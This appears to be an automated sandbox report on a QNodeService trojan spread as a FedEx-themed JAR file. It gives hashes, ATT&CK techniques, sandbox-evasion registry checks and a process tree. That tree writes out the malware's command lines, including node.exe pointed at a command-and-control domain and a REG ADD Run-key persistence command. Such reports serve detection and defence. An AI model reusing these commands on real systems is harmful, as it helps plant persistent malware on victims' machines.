qnodeservice | a635ab4ec8492d9c26771aa2e50722f14e6f87083aa6dd89dfe64ebc5412f217

General

Target

FedEx #187320605737.jar
Size

75KB
MD5

556d3bbd059f20eecb26acf1ba4e2618
SHA1

7af2267b6e71d70e9f432e017dd939d7508aec49
SHA256

a635ab4ec8492d9c26771aa2e50722f14e6f87083aa6dd89dfe64ebc5412f217
SHA512

1e87685223a7054ab52727135ef45abc74e573eebd63db14834553f926d4bba42e8c89bf1d388ec2990054b0848341290509e29f8d8bad6435a9b0b42439ec48

Score

10^/10

qnodeservice persistence trojan

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
2836	node.exe
756	node.exe
4080	node.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Windows\CurrentVersion\Run\86583707-f6c7-47cd-b840-5df94b8fc262 = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001ab7c-172.dat	js
behavioral2/files/0x000100000001ab7c-175.dat	js
behavioral2/files/0x000100000001ab7c-179.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
25	wtfismyip.com
26	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
2836	node.exe
2836	node.exe
2836	node.exe
2836	node.exe
756	node.exe
756	node.exe
756	node.exe
756	node.exe
4080	node.exe
4080	node.exe
4080	node.exe
4080	node.exe
4080	node.exe
4080	node.exe
4080	node.exe
4080	node.exe
4080	node.exe
4080	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2612 wrote to memory of 4092	2612	java.exe	77
PID 2612 wrote to memory of 4092	2612	java.exe	77
PID 4092 wrote to memory of 2836	4092	javaw.exe	81
PID 4092 wrote to memory of 2836	4092	javaw.exe	81
PID 2836 wrote to memory of 756	2836	node.exe	83
PID 2836 wrote to memory of 756	2836	node.exe	83
PID 756 wrote to memory of 4080	756	node.exe	84
PID 756 wrote to memory of 4080	756	node.exe	84
PID 4080 wrote to memory of 4064	4080	node.exe	86
PID 4080 wrote to memory of 4064	4080	node.exe	86
PID 4064 wrote to memory of 8	4064	cmd.exe	87
PID 4064 wrote to memory of 8	4064	cmd.exe	87

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar "C:\Users\Admin\AppData\Local\Temp\FedEx #187320605737.jar"
1⤵
- Suspicious use of WriteProcessMemory
PID:2612
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\bb849a7c.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4092
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain acmehydraeulic.ddns.net --hub-domain localhost
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:2836
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_DY92gT\boot.js --hub-domain acmehydraeulic.ddns.net --hub-domain localhost
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:756
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_DY92gT\boot.js --hub-domain acmehydraeulic.ddns.net --hub-domain localhost
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:4080
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "86583707-f6c7-47cd-b840-5df94b8fc262" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:4064
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "86583707-f6c7-47cd-b840-5df94b8fc262" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:8

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/756-176-0x000000BCBB780000-0x000000BCBB781000-memory.dmp

Filesize
4KB

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memory/2836-173-0x0000036E22000000-0x0000036E22001000-memory.dmp

Filesize
4KB

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memory/4080-180-0x00000248FA080000-0x00000248FA081000-memory.dmp

Filesize
4KB

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